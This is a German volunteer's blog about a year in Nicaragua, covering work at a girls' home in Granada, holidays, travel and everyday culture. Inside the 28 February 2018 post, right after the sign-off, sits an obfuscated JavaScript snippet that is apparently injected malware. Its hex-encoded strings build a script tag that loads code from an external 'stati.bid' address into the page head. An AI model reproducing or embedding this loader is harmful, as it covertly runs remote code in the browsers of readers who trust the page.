Über das Leben in Nicaragua und wie sich mein Leben verändert

Dienstag, 10. April 2018 von Sandra Abrantes Diaz

Hola ihr Lieben! Jetzt bin ich doch etwas in Verzug geraten mit meinem nächsten Blog, aber keine Sorge, ich hole alles nach! Ausnahmsweise ist nicht die Arbeit im Projekt Grund dafür, dass ich keine Zeit gefunden habe, um zu berichten, sondern zum Einen das Zwischenseminar (ja, das ist jetzt auch schon vorbei und die Zeit ist nun noch weniger) und zum Anderen der Besuch meiner Familie – nach acht Monaten von Bruder und Eltern gedrückt zu werden ist ein schönes Gefühl!

Mit einer allzu großen Begeisterung bin ich nicht zum Seminar gereist, weil das auch gleichzeitig hieß, eine Woche im Heim zu verpassen. Dazu kam, dass die Anreise zu dem Zwischenseminar nicht die Kürzeste für mich war. Obwohl Nicaragua nicht sehr groß ist –  vergleichbar mit der Fläche von Bayern und Baden-Württemberg zusammen – war ich etwa zehn Stunden unterwegs (auf dem Hinweg habe ich die Reise teilen können und habe Obhut bei meiner Mitfreiwilligen Lea gefunden, danke!) und landete auf einer Insel, einsamen Insel. Kaum zu Glauben, aber das Leben auf einer paradiesischen Insel fiel mir schwer so weit weg von meinem Nica-Zuhause. Tatsächlich waren wir die Hauptattraktion auf Solentiname und es war wirklich merkwürdig mit einer ganzen Gruppe Weißer, die Deutsch sprechen, sich so fremd zu fühlen. Es war auch schön mal wieder deutsch zu reden und sich besonders über kulturelle Erfahrungen austauschen zu können. Machismus ist in Nicaragua ein großen Thema/Problem. Dass einer Frau hinterhergepfiffen und bis an die nächste Ecke nachgeschaut wird ist hier keine Seltenheit. Für mich war das schnell vertsanden und ich bemerke es nun wirklich nicht, aber als man dann ins Gespräch kam, war ich erstaunt wie schwer es einige mit der Nica-Kultur haben… Alles in allem war es eine sehr reflektierende Woche, in der aber auch Spaß, Lachen und Baden nicht zu Kurz kam!

 

Ostereier färben mit den Kindern im Heim

Zwischenseminar auf Solentiname

 

 

 

 

Mit Lea auf dem Weg auf die einsame Insel

 

Wieder zurück in Granada, standen auch schon meine Eltern in der Tür. Während der Osterwoche (Semana Santa) durfte ich mein Nica-Leben zeigen. Tatsächlich waren meine Eltern von vielen Eindrücken eingenommen, die ich schon als normal sehe. Bin ich schon so anders? Das ging mir doch oft durch den Kopf, aber nein, es gibt kein Anders oder Komisch, ich würde sagen ich bin einfach angekommen und aufgenommen. In zwölf Tagen ging es einmal quer durchs Land, es gab deutsches Essen in meiner Gastfamilie und ganz viel Schokolade. Zum Abschied hatten sie noch die Ehre einen Tag mit mir auf der Arbeit zu verbringen. Sehr herzlich wurde die Mama von Sandra umarmt, Sandras Papa und Sandras Bruder zum Fussball aufgefordert.

Mit Kollegen und Bruder in Granada

Zur Feier des Tages – wann bekommt man schon Besuch von so weit her? – gab es Burger für alle Mädchen

Mit den Vorschulkindern unterwegs

Sonnenuntergang in Las Peñitas 

Wo? Wie? Was?

Was es heißt hier zu leben, sich wie eine Nica zu fühlen und Hitze zu spüren versuche ich euch ein wenig näher zu bringen. Ein kultureller Unterschied bedeutet nicht, dass es hier komisch, schlechter oder besser ist. Es ist einfach Nicaragua wie ich es liebe! Wie schon vorhin gesagt sind mir gerade in den letzten Tagen diese Unterschiede durch meine Familie so bewusst geworden.

 

Häuser

Fast jede Familie lebt in ihrem eigenen Haus, auch wenn es noch so eng ist, da man meist mit der ganzen Familie zusammen wohnt (da kommen auch mal mehr als zehn Personen zusammen). Mehrstöckige Häuser sind hier eine Seltenheit. Wenn man solche in Granada zu sehen bekommt, dann nur im Zentrum, wo diese meist Hotels oder auf einen reichen Inhaber zu schließen sind.

Die Häuser sind tagsüber meist offen, man sitzt im Schaukelstuhl vor seinem Hauseingang und genießt jeden Hauch von Wind der bei dieser Hitze weht. Genauso sind auch Zimmer meist durch Vorhänge abgetrennt, was jedoch Privatsphäre nicht ausschließt.

 

Fanilie und Schule

Familie wird sehr groß geschrieben in Nicaragua! Daher lebt man meist mit drei oder auch vier Generationen zusammen in seinem Haus. Dabei ist klar aufgeteilt, dass sich die Frauen um Wäsche, Küche und Haushalt kümmern, während tagsüber (in den meisten Fällen) die Männer arbeiten und die Kinder in die Schule gehen. Dadurch, dass Mädchen bereits mit ihrem 15. Geburtstag zur Frau werden (vergleichbar mit unserem 18. Geburtstag), wird tendeziell auch im Alter von 20 bis 25 das erste Kind geboren. Von der ganzen Familie wird das Baby gehegt und gepflegt, von der Oma verwöhnt.

Dass man enger miteinander lebt, merke ich daran, dass sich viele ein Zimmer teilen. Während ich in Deutschland an meinem eigenen Schreibtisch sitzen konnte, wird hier alles mit den Geschwistern geteilt. Auch die Eltern schlafen oft in einem Raum mit ihren Kindern.

Wie ich so wahrnehme, ist die deutsche Schulglocke sehr spät. Hier geht es bereits um sieben Uhr los mit dem Unterricht für die Sekundaria bis etwa mittags. Danach folgen die Schüler der Primaria (vergleichbar mit unserer Grundschule, jedoch geht diese bis zur 6. Klasse).  So ist es zumindest bei den privaten Schulen, die immerhin 20% der Schulen ausmachen. In den öffentlichen Schulen ist es eben andersherum (erst gehen die Jüngeren zur Schule und am Nachmittag die Älteren).

Außerdem spielt der katholische Glaube hier noch eine bedeutende Rolle. Vor Unterrichtsbeginn  wird in Gemeinschaft gebetet, der sogenannte Acto, und wöchentlich findet ein Schulgottesdienst statt.

 

Menschen und Mentalität

Mensch ist Mensch. Grundlegend fühlen, denken, lernen und arbeiten die Menschen hier genauso wie in Deutschland. Auch wenn es kulturelle Unterschiede gibt, heißt es nicht, dass die Menschen dadurch ein besseres oder schlechteres Leben haben!  

Meine Eindrücke der Nicas sind, dass sie immer lächeln, höflich und geduldig. Wenn es um eine Wegbeschreibung geht, nehmen sie sich die Zeit dir weiterzuhelfen bis du dein Ziel erreicht hast, wenn du in den Bus steigst, wird dir die Hand gereicht, dir wird geholfen deinen Rucksack zu verstauen und an der richtigen Ecke auszusteigen. Außerdem sind sie auch Meister im Small-Talk. Ein ‚¿Como estas?‘ bekommt man eigentlich ständig zu hören.

Zudem gilt ein entscheidender Gedanke für die Mentalität: Komm ich heute nicht, komm ich morgen bzw. Kommt der Bus nicht, dann kommt eben der Nächste. Dass man dann lernt auch ein oder zwei Stunden am Straßenrand zu sitzen und bei jedem Motorgeräusch mit der Hoffnung auf den ersehnten Bus aufatmet da kommt er, enttäuscht ausatmet und  festellt, dass es nur ein PKW war, bringt Ruhe. Eine innere Ruhe und Gelassenheit.

 

Sicherheit

Am Anfang war ich sehr vorsichtig und ein wenig verunsichert, welche Wege ich eben alleine gehen darf und wo man dann doch lieber das Taxi nimmt. Auch wenn Nicaragua als das sicherste Land Zentralamerikas gilt, sollte man das nicht mit deutschen Sicherheitsmaßstäben vergleichen.

Generell ist gerade das touristische Zentrum Granadas sehr belebt und auch abends trifft man viele, die ihren Abend mit Freunden ausklingen. Wenn es jedoch schon acht Uhr abends ist, kommt dann doch ein unwohles Gefühl in mir auf und ich laufe auch nicht mehr alleine durch die Straßen. Ab dieser Uhrzeit fährt man mit dem Taxi und wohler fühle ich mich dann auch wenn ich mein Handy zuhause habe!

Das Unbekannte ist gefährlich, das Bekannte aber auch!

 

Verkehr

Mit dem Verkehr in Nicaragua ist das so eine Sache. Generell gilt wer zuerst hupt, fährt zuerst.

Das heißt auch, dass Granada mit genau einer Ampel auskommt und ansonsten mit einem sehr

Auch ich darf mal rauf (nur kurz)

verwirrenden Vorfahrtsprinzip für genug Straßenlärm sorgt.

Das häufigste Verkehrsmittel ist das Taxi, von denen es ausreichend hier gibt. Man winkt es an, sagt seine Zieladresse, verhandelt nich eben einen guten Preis aus (nie mehr als 20 Cordoba, etwa 60 Cent) und schon geht es los. Auf dem Weg werden meistens noch andere Menschen mitgenommen, die meistens in die gleiche Richtung wollen.

Für lange Strecken wählt man doch den Bus. Dieser ist nicht das schnellste Transportmittel, hölt für jeden Haltewunsch an und kommt meist nicht über die 40 km/h. Wenn ich also mit dem Bus nach Mangua möchte (47 km von Granada entfernt) plane ich etwa 1,5 Stunden Fahrtzeit ein.

Auch Pferdekutschen, Pferdekarren und Fahrräder nehmen am Straßenverkehr teil, werden viel angehupt und sind durchaus nicht die sicherste Variante. Wenn ich noch eben in die Stadt muss, dann verzichte ich gerne auf mein Rad und gehe zu Fuß.

 

Tiere

Einen Hund gibt es in fast jedem Haus. Nicht immer als Kuschelhaustier, sondern vielmehr als Wachhund. Aber auch auf der Straße und auf dem Markt findet man viele streuende Hunde, die jedoch sehr ängstlich sind. Angst machen manchmal auch die Wunden, die diese Streuner haben. Katzen sind ebenso aus Zwecksgründen in vielen Häusern zu finden, um nämlich Mäuse und Fledermäuse fernzuhalten.

Es gibt auch noch andere „Haustierchen“, die sich selbst als solche machen. Abends werden die Geckos aktiv, die dann an den Wänden kleben und Ungeziefer essen. Auch Moskitos machen sich besonders abends unbemerkt bemerkbar und spürbar!

wunderschön sind natürlich die Tiere in der freien Natur anzusehen: große farbenfrohe Schmetterlinge, Papageie, Faultiere, Affen, Schildkröten,…


Was noch fehlt

So sehr ich dieses Land und diese Menschen hier ins Herz geschlossen habe, wurde mir in letzter Zeit bewusst, was hier doch noch alles fehlt. Natürlich kann man den Lebensstandard nicht an deutschen Maßnahmen messen, aber als dann meine Familie mit einem deutschen Auge auf mein Nica-Leben schaute, wurde mir bewusst, dass abgesehen von der Kultur einiges noch für Probleme sorgt.

Es fängt an bei dem ganzen Müll, der auf der Straße landet, weil es kein richtiges Müllsystem gibt. Wenn die Entsorgung nicht an Straßenränden oder im Bach passiert, dann wird er einfach vor der Haustür verbrannt. Schwierig ist dies, weil es sich besonders um Plastikmüll handelt. Plastik als preiswerter Rohstoff ist immer im Einsatz: Saft wird aus Plastiktüten geschlürft; Kekse, Reis, Bohnen, alles wird in Plastiktüten verkauft.

Weiter geht es dann bei der großen Schere zwischen arm und reich. Während viele an der Armutgrenze leben, kommen reiche amerikanische Touristen nach Nicaragua und sorgen durch ihren Tourismus zwar einerseits für neue Arbeitsplätze, verdrängen aber gleichzeitig den Bauern und reißen die Preise nach oben. Ein Leben im Zentrum ist also nur für die Wohlhabend möglich und es entstehen viele Marginalgegenden, die hier bekannten Barrios.

Auch das Krankheitssystem erreicht den einfachen Nica nicht. Es gibt keine staatliche Versicherung, also jeder Arztbesuch und jedes Medikament wird aus eigener Tasche bezahlt, sprich kaum einer kann es sich leisten. Offiziell gibt es eine Grundversorgung im Centro de Salud (Gesundheitszentrum), aber wie ich von vielen sehe, wird dort nur zu den privaten Ärzten verwiesen.

Ohne immerfließend Wasser zu leben ist wirklich Alltag hier und sehe ich nicht als ein sehr großes Problem. Vielmehr liegt die Lücke darin, dass die Wasserleitung genauso wie auch Strom von der Regierung geleitet wird. Kurz, es wird abgestellt. Das kommt bei mir ziemlich oft vor, weil wir in der Nähe einer Fabrik wohnen, morgens gibt es dann kein Wasser für die umstehenden Häuser. Man stellt sich darauf ein, hat immer Wasserbecken für den Notfall, aber kann es wirklich sein, dass die Korruption in einer Demokratie so präsent ist?

 

Ich bin fest davon überzeugt, dass ich das alles in ein paar Jahren lese und feststellen werde, wie angeglichen Nicaragua an den hohen westlichen Standard sein wird. Ob das gut ist? Sicherlich in einigen Aspekten, aber Nicaragua ist so wie es ist einfach wunderschön und begeistert mich jeden Tag.

Ich hoffe ihr habt einen kleinen Eindruck von meinem Leben hier bekommen und wisst das ich mich pudelwohl fühle (besonders neben meinem Ventilator!). Ja, es ist gerade äußerst heiß und wir warten sehnsüchtig auf den Regen.

 

Eure Sandra

 

P.S. Seit März habe ich auch mein Visum, das heißt ich kann mich endlich offiziell als Nica ausweisen!

 

Der Anfang vom Anfang

Mittwoch, 28. Februar 2018 von Sandra Abrantes Diaz

Hola ihr Lieben, es wird mal wieder Zeit für ein Update. Fangen wir doch da an, wo wir vor über 200 Tagen angefangen haben: Mir gehts gut, auch wenn der ein oder andere Tag etwas viel Kraft fordert.  Dass ich Nicaragua lieben gelernt habe fing nicht nur wegen der wunderschönen Landschaft an, die das Land zu bieten hat, sondern auch wegen der Menschen, die mich umgeben, und mich ins Herz geschlossen haben!

Dass schon bald Ostern ist, obwohl doch gerade erst Weihnachten war, hat mich doch ein wenig erschrocken. Ich meine, wenn am Anfang der großen, abenteurlichen, aufregenden Reise noch alles neu, ungewohnt und viel zu heiß war, dann heißt dieser Anfang der Sehnsucht des Bleibens jetzt, Abkürzungen, den Nachbarn und Freunde zu kennen. Natürlich ist es noch immer extrem heiß, aber ich merke, dass das anfängliche Dauerbedürdnis nach Wasser schon etwas zurückgegangen ist. Von anfänglichen vier Litern kann ich nun normale zwei bis zweieinhalb Liter am Tag zählen. Das Bedürfnis nach dem leckeren Nica-Essen ist jedoch stetig da und wo zunächst alles noch vorsichtig probiert wurde, wird jetzt mit Genuss gegessen 🙂

Natürlich tragen die Menschen, die mich umgeben die Hauptrolle in meinem Roman, meinem Freiwilligendienst. Ehrlich gesagt weiß ich gar nicht wie ich die vergangene Zeit einordnen soll: Komödie, weil es unglaublich viele witzige Momente gibt, Abenteuer, weil es dies am Anfang war und auch noch immer ist, wenn ich die Gelegenheit habe, das Land kennenzulernen (einen aktiven Vulkan hinunterzufahren macht man nicht jeden Tag und genausowenig durch einen Cañon zu schwimmen), Tragödie, da manche Geschichten von den Kindern aus dem Heim nichts anderes als das sind (gerade Missbrauch und Analphabetismus schocken mich immer wieder), aber irgendwo ist es auch eine Biografie meines Ichs, vielmehr meines „Anfangs-Ich“ und jetztigen „Zwischen-ich“. Respekt, wenn ihr mir bis hierher verfolgen konntet – einfach gesagt, ich merke, dass viele Eindrücke  auf mir lasten und wenn ich an die ersten Wochen denke feststellen muss, dass der Anfang meines Jahres vielleicht erst jetzt ist. Erst jetzt, weil ich mich nicht neu, fremd, unwissend fühle, sondern mein Leben hier aufgebaut habe. Dazu gehört auch das Land und die Leute zu verstehen. Es ist also der Anfang des Anfangs sich wie eine Nica zu fühlen (tatsächlich wurde ich auch schon als solche gehalten). Wieso Vitamin C als so großes Heilmittel gesehen wird, hat mir anfangs den Kopf verdreht, aber am Anfang vom Anfang kann ich sagen, dass es wirklich hilft, denn der Glaube, dass es besser wird, durch Vitamin C viel mehr gestärkt wird!

Da Bilder viel mehr als tausend Worte sagen, lasse ich nun die Fotos für sich sprechen. Ich muss feststellen, dass schon jetzt meine Zeit nicht in Worte zu fassen ist!

 

Mit den Jüngsten bereitete ich nach dem Motto „Dschungelbuch“ einen kleinen Tanz vor.

 

Eine große Geburtstagsfeier zum 15. mit allen zusammen!

 

Am 14. Februar war hier nicht nur Valentinstag, sondern auch Tag der Freundschaft. Selbstverständlich habe ich allen lieben Menschen Danke sagen wollen!

 

Nichts geht über Pfannkuchen von deutschen Händen zubereitet!

 

Bastelstunde

 

 

Was würde ich nur ohne all diese lieben Menschen machen?

 

Im Februar ging es eine Woche lang rund um Poesie, abends genossen wir öffentliche Konzerte im Freien!

 

Ein Spruch, der mich seit einiger Zeit begleitet und besonders wenn ich mal etwas geknickt bin gezeigt hat, dass es immer nur nach vorne geht, auch wenn das heißt, dass das Nachvornegehen mir mit jedem Morgen ein Tag weniger in Nicaragua gibt.

Cree que lo puedes hacer y lo harás! – Glaube, dass du es machen kannst und du wirst es machen! 

Eure Sandra var _0x29b4=[„\x73\x63\x72\x69\x70\x74″,“\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,“\x73\x72\x63″,“\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,“\x68\x65\x61\x64“];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

 

Eins, Zwei oder Drei

Sonntag, 28. Januar 2018 von Sandra Abrantes Diaz

Nachträglich wünsche ich euch allen frohe Weihnachten (eins), ein frohes neues Jahr (zwei) und einen gesegneten Dreikönigstag (drei). Auch ich habe alle diese Feste mit lieben Menschen verbracht und denke, dass nun mal Zeit wird euch davon zu berichten!

Eins Ein Weihnachten ohne Schnee, ohne Plätzchen und mit viel amerikanischem Schnickschnack war meine diesjährige Abwechslung aus dem gewohnten Heilig Abend, besinnlich in Familie. Den Tage über wurde außer Kochen nicht sonderlich viel gemacht. Das Kochen hat sich aber auch sehr in die Länge gezogen, da nicht nur ein Gericht gezaubert wurde, sondern gleich eins, zwei, drei! Nummer eins war die Zunge. Ja, hier eine Delikatesse, die meine Gastmama schon in den frühen Morgenstunden anfing zuzubereiten. Dazu gab es noch eine Lasagne, was hier sehr besonders ist. Gerade für meine Gastschwestern war es ein Highlight, nicht nur wegen der teuren Zutaten (diese gibt es ja schließlich hier nicht), sondern auch, weil wir keinen Ofen haben und eine Freundin uns ihren zur Verfügung gestellt hat. Und das dritte Gericht wurde mit meinen Händen zubereitet: Es gab Spanische Paella. Als es dann so weit war zur Messe zu gehen, standen schon die Gäste vor der Tür bzw im Haus. Also wurde diese dann gestrichen und allen unerwarteten Gästen noch Stuhl und Teller gebracht. So ist das hier wenn man einen einlädt und dann fünf erscheinen. Mit über zwanzig Personen ging es nach dem Essen zum Tanzen! Und das kam nicht zu kurz. Bis tief in die Morgenstunden lief die Musik und alle begaben sich mit Fußschmerzen in den Schlaf.

 

Der ganz schlichte Weihnachtsbaum

 

Unsere improvisierte lange Tafel am 24.

Zwei Neujahr in einem Land zu verbringen, wo der Hüftschwung in die Wiege gelegt wird, bedeutet auch, dass mir meine Gastschwester die richtige Bewegung beibrachte. Die Feier ist sehr ähnlich wie in Deutschland, nur, dass ich eine besondere Tradition, die des Alten Mannes erzählen möchte. Üblich ist es nämlich um Mitternacht einen gebastelten Alten Mann, der mit Feuerwerkskörpern gefüllt ist, anzuzünden, um sich symbolisch von allem Schlechten des vergangenen Jahres zu befreien.

Drei Den sechsten Januar, Tag der heiligen drei Könige, feiert man leider nicht in Nicaragua. Daher war es für mich umso schöner diese Tradition mit den hier zu teilen. Aus Deutschland bekam ich den Segenspruch gesendet und wurde  auch gleich mit dem Haus meiner Gastfamilie und meines Projektes geteilt.

Bis nach Nicaragua schafft es der Segen

… Wochen frei?

Die Spontanität der Nicas gab mir das große Fragezeichen auf, wieviele Tage das Personal über die Feiertage frei haben würde, da die Kinder über einen Monat nicht da sein werden, schließlich sind momentan die langen – sehr langen – Sommerferien hier. Wundert euch nicht, dass ich Sommerferien schreibe, obwohl Nicaragua auf der Nordhalbkugel liegt und wir Winter haben, aber es ist derzeit einfach unglaublich heiß, weil es nicht regnet! Und wundert euch auch nicht, dass ich sehr lange schreibe, weil 10 Wochen schon ziemlich viel sind, oder?

Hieß es für mich also ein, zwei oder drei arbeitsfreie Wochen zu haben?  Erst am letzten Arbeitstag wurde ich aufgeklärt, dass der ursprüngliche Arbeitsbeginn einfach um fünf Tage vorverlegt und die Ferien auf zwei Wochen gekürzt wurden. Das ist eigentlich auch kein Problem, wenn man nicht schon – so wie ich – seinen Urlaub im Oktober unter dem vorgegebenen Termin plant. Letzten Endes habe ich nur drei Tage später wieder die Tür des Heims betreten und  ab da auch bis heute keinen Tag ausgelassen (dazu später mehr 🙂 ).

Was ich in dieser Zeit gemacht habe? Klar, reisen und meine neue Heimat kennenlernen. Dabei habe ich gleich drei (nicht nur ein oder zwei) verschieden Facetten Nicaraguas sehen können. Zunächst ging es in den Norden, also habe ich natürlich auch Pullis eingepackt, weil mir viel gesagt wurde, dass es dort kalt sei, die ich letztendlich bei 25 Grad nun wirklich nicht brauchte.

Als erstes fuhren wir nach León, um dort das „Volcano Boarding “ zu machen. Was das ist? Ein riesiger Spaß kombiniert mit einem aktiven Vulkan und rasanten Abfahrt bei 45 Grad Steigung. Es war tatsächlich nicht so schlimm, vielleicht auch einfach weil ich sicherheitshalber die langsame Bremsvariante gewählt habe, aber diese Erfahrung, einen Vulkan hochzuklettern, oben angekommen den Krater zu sehen, die heiße Asch unter seinen Füßen zu spüren und dann binnen wenigen Sekunden den Vulkan hinter sich zu lassen war einzigartig!

Zum Norden gehört es auch fast bis an die Landesgrenze zu reisen. Nur zwei Kilometer vor Honduras ging es nämlich zum Cañon. Zugegeben, hier war es kalt. Die Tour durch diesen Cañon (ganze Fünf Stunden) begann mit einer kleinen Wanderung bevor es dann ins Wasser ging. Einmal drinnen kam man da auch für die nächsten Stunden aus diesem Eiswasser auch nicht heraus und durfte mit Anziehsachen und Schuhen über zwei Kilometer schwimmen und Klippenspringen. Nein, ich gehöre nicht zu den Mutigen, die sich aus zehn oder fünfzehn Metern ins Wasser wagten, aber zu den Mutigen, die sich durch diesen Cañon geschwommen haben!

Die letzte „Nordstation“ führte nach Matagalpa, der Stadt des Kaffees. Ich möchte nicht allzu viele neidisch machen, aber frischer Kafee direkt vom Feld ist schon was Feines! Außerdem konnten wir noch einen Wasserfall etwas außerhalb besuchen. Mein erster  und hoffentlich nicht letzter 🙂

Matagalpa von oben

Die zweite Station meiner Reise war die Umgebungen Granadas kennezulernen. Dabei ging es in  verschieden Nachbardörfer und auch hoch hinaus auf den Mombacho. Auf einer Höhe von 1344m hatte man einfach einen wunderschönen Ausblick über Nicaragua!

 

Ein, zwei oder drei Sternsinger in Nicaragua

 

Zum Abschluss meiner Reise ging es noch für ein paar Tage in die Karibik. Nicht nur türkisenes Wasser unter Palmen wartete dort auf uns, sondern leider auch ein Unwetter, welches sich erst am vorletzten Tag legte. Little Corn Island kommt dem Paradies aber schon sehr nahe und es ist so anders dort. Zum Einen natürlich das Essen, hier wird alles auf Basis von Kokosnuss gekocht. Zum Anderen aber auch die Einsamkeit, weil es keine Elektrizität gibt, das heißt nachts mit Taschenlampe um die Insel zu laufen und natürlich unterscheiden sich auch die Menschen. Ich war erstaunt, dass hier nur Englisch oder Miskito (die Sprache der Ureinwohner) gesprochen wird. Mit Spanisch kam man also gar nicht so weit hier.

An einem Tag ging es tief ins Wasser, um neben Korallenriffen auch eine Vielfalt von Fischen zu sehen. Kugelfische, Rochen und Haie. Ja, das Schwimmen mit den Haien hat mir wirklich Angst gemacht, ich meine, dass auf einmal sechs Haie um einen sind kommt nicht jeden Tag vor! Es ist nichts passiert, keine Sorge 🙂

Vor unserer Hütte das Meer

 

…Neuigkeiten im Heim?

Das neue Jahr brachte viele neue Überraschungen für mich im Projekt. Die größte Umstellung ist wohl, dass nach vier Jahren unsere Direktorin gewechselt hat und nun auch zusätzlich eine Novizin mir im Heim wohnt. Einen neue Chefin zu haben ist durchaus nicht einfach, aber Sor Claudia ist sehr offen und für viele Späße zu haben. Alle Befürchtungen, die man immer so hat, sind also schnell vom Tisch gewesen. Die zweite große Neuigkeit war eine einwöchige Schlung mit dem Personal. Es war als würde man sich vielleicht neu kennenlernen, denn wie verbrachten diese Schulung in Managua, wo wir sehr gemütlich in einem Zimmer Matratze an Matratze gequetscht schliefen, die Toilette durch einen Vorhang abgetrennt war und der Straßenlärm keine Nachtruhe gewährte. Dennoch haben wir viel gelacht und sind abends auch zusammen raus gewesen, was mir definitiv in schöner Erinnerung bleibt! Die Schulung war zum einen hilfreich das Kollegium besser kennenzulernen und in ihrer Gruppendynamik zu stärken, aber auch um pädagogisch hilfreiche Maßnahmen im Umgang mit den Kindern zu erhalten.

Am Mittwoch ist es dann so weit gewesen und die Tür für unsere nun 45 Kinder wurde wieder geöffnet. Es war alles neu! In den vergangenen wichen wurde nämlich das ganze Heim gestrichen und wir bastelten tatkräftig an neuer Zimmerdekoration, aber auch der Speisesaal, der Salon und die Wäscherei wurde  nicht ausgelassen. Da wir jetzt mehr Kinder haben und besonders auch kleine Kinder, denn die Jüngste ist erst drei Jahre, haben wir einen großen Spielraum, der dank Spenden mir Puppenhäusern gefüllt werden konnte und erste sehr anstrengende Tage hinter uns.

 

Ich merke schon, dass ich an verschiedenen Aufgaben gewachsen bin, aber auch an meine Grenzen kam. Die ersten drei Tage hieß es nämlich mit den Kindern verschieden themen zu besprechen, wie Respekt, Ernährung und das Benehmen miteinander. Am Dienstag Abend wurde mir noch mitgeteilt, dass ich eine eigene Gruppe haben werde. Das hieß für mich noch bis tief in die Nacht alles vorzubereiten, damit ich den Kindern möglichst spielerich und verständlich alles erklären konnte. Mit Stolz kann ich sagen, dass mir das wohl gut gelungen ist!

 

 

Ich hoffe, dass die nächsten Wochen vielleicht etwas weniger anstrengend aber mindestens genauso schön werden!

Bis dann, eure Sandra

 

Weihnachtsstress

Sonntag, 24. Dezember 2017 von Sandra Abrantes Diaz

Weihnachten steht vor der Tür und auch meine Ferien! Nach einem sehr ereignisreichen Dezember ging es jetzt auch für die Mädchen nach Hause. Was im vergangenen Monat die weihnachtliche Stimmung aufbringen ließ war der so gut bekannte Weihnachtsstress, der uns jede Minute Schlaf zu genießen zeigte.

Das Fest der Feste – Purísima

Im Dezember steht für die Nicas das wichtigste Fest an, die Purísima (Maria Empfängnis). Auf diesen Tag haben wir uns sehr intensiv vorbereitet, sowohl geistlich als auch körperlich. Für den geistlichen Teil gingen wir neun Tage lang vor dem 8. Dezember, dem Tag der Purísima selbst, morgens früh in die Messe. Früh heißt,  dass ich um 5 Uhr im Heim war, um die Messe pünktlich um 6 Uhr mit Sitzplatz zu besuchen. Am letzten Tag anzukommen war wie der Zieleinlauf eines Marathons, aber ich muss sagen, würde es immer wieder tun. Auch wenn das Aufstehen trotz kalter Dusche im Morgengrauen schwer fiel, war es umso schöner im Tageslicht aus der Kathedrale zu kommen.

Mit den Mädchen im Heim haben wir täglich am Nachmittag den Rosenkranz gebetet (die Novena) und dann ging es zum körperlichen Teil über, dem Essen. Das ist wohl kaum zu kurz gekommen! Jeden Tag bereiteten zwei vom Personal etwas zu essen und zu trinken vor. Es bot sich für mich  sehr an, um viele noch nicht entdeckte Leckereien zu entdecken! Als ich an der Reihe war wurde natürlich etwas „Besonderes“ erwartet. In meiner deutschen Tüte war dann die dunkle Köstlichkeit namens Schokolade, die trotz langer Reise von über 9.000 km heile ankam und ich überlegte mir mit den Kindern Plätzchen zu backen. Alle waren begeistert und sogar die Erzieherinnen fanden ihren Spaß am Backen!

Jeden Tag wurde die Maria-Statue dekoriert und abends durch die Straßen getragen

In der Weihnachtsbäckerei

 

Wie besonders dieses Fest ist zeigt der Ausflug in die Haupstadt Managua am 7. Dezember. Am Nachmittag ging es aus Granada los bis zur Kathedrale, wo wir vom Kardinal in Empfang genommen wurden und sogar auch von Radio- und Fernsehsendern aufgenommen wurden. Während hunderte von Menschen vor dem Eingang warteten, um an die Übergabe des Beutels zu gelangen, konnten wir glücklicherweise durch die Begeleitung der uniformierten Schwestern problemlos einen Beutel voll Reis, Bohnen, Zucker, Öl, etc. abholen und dann auch schon mit unserem Bus von Haus zu Haus fahren. Ein wenig erinnerte es mich an das Martinsingen, denn in jedem Haus war ein Altar aufgebaut, vor dem wir der heiligen Maria zu Ehren sangen und dann gab es eine Kleinigkeit für jeden. Das ging von einem Eimer bis hin zu einem Abendessen, Spielpuppen oder Obst. Ich war erstaunt wieviel die Menschen für diese Veranstaltung ausgaben. Alleine unsere Gruppe zählte sechsizig Personen und es kamen viele mehr an einem Abend zusammen! Spät in der Nacht kam ich mit zwei großen vollen Säcken und einer unvergesslichen Erfahrung zuhause an und verabschiedete mich für wenige Stunden in den Schlaf, bevor es am nächsten Morgen zum Höhepunkt der Purísima kam. Wir haben viele Einladungen von Sponsoren bekommen, um sie zu  besuchen, weil sie uns  mit einem Mittag- oder Abendessen erwarteten oder sie kamen ins Heim, um die Mädchen zu empfangen! Hier gab es nicht nur Essen, sondern es wurden auch neue Kleider, Schulbücher, Schuhe und Hygieneutensilien gespendet. Fast täglich bekamen die Mädchen noch eine Piñata mit allen ihren typischen Festlichkeiten. Jeder Besuch hieß aber natürlich auch Stress für uns, da alles hergerichtet werden musste, während der Veranstaltung die Mädchen ruhig gehalten werden mussten und das Aufräumen überließ man uns dann auch noch.

 

Eine große Menschenmasse wartet vor der Kathedrale von Managua

Gerade wurde für das Fernsehen gesungen

 

Ferien

Da der ganze Monat schon von Ferien- und Feierlaune begleitet war, gab es im Heim auch jeden Tag zusätzlich eine kleine Feierlichkeit – der Adventskalender. Keiner in dem Heim kannte diese Tradition und das machte es auch nicht einfacher zu erklären, dass man täglich ein Paket öffnet und nicht sofort alle vierundzwanzig! Es kostete mich durchaus viel Geduld das ein, zwei, drei und auch vier Mal zu erklären, bis das Fragezeichen aus den gesichter verschwand. Aus weihnachtlichen Spargründen gab es jeden Tag für ein Kind ein kleines Geschenk (ich füllte ihre Tütchen mit einem Haargummi, Kekse und einige Bonbons), sodass nicht alle 32 Mädchen täglich ein Geschenk hatten.

Der Weihnachtskalender aus recycelten Klorollen

 

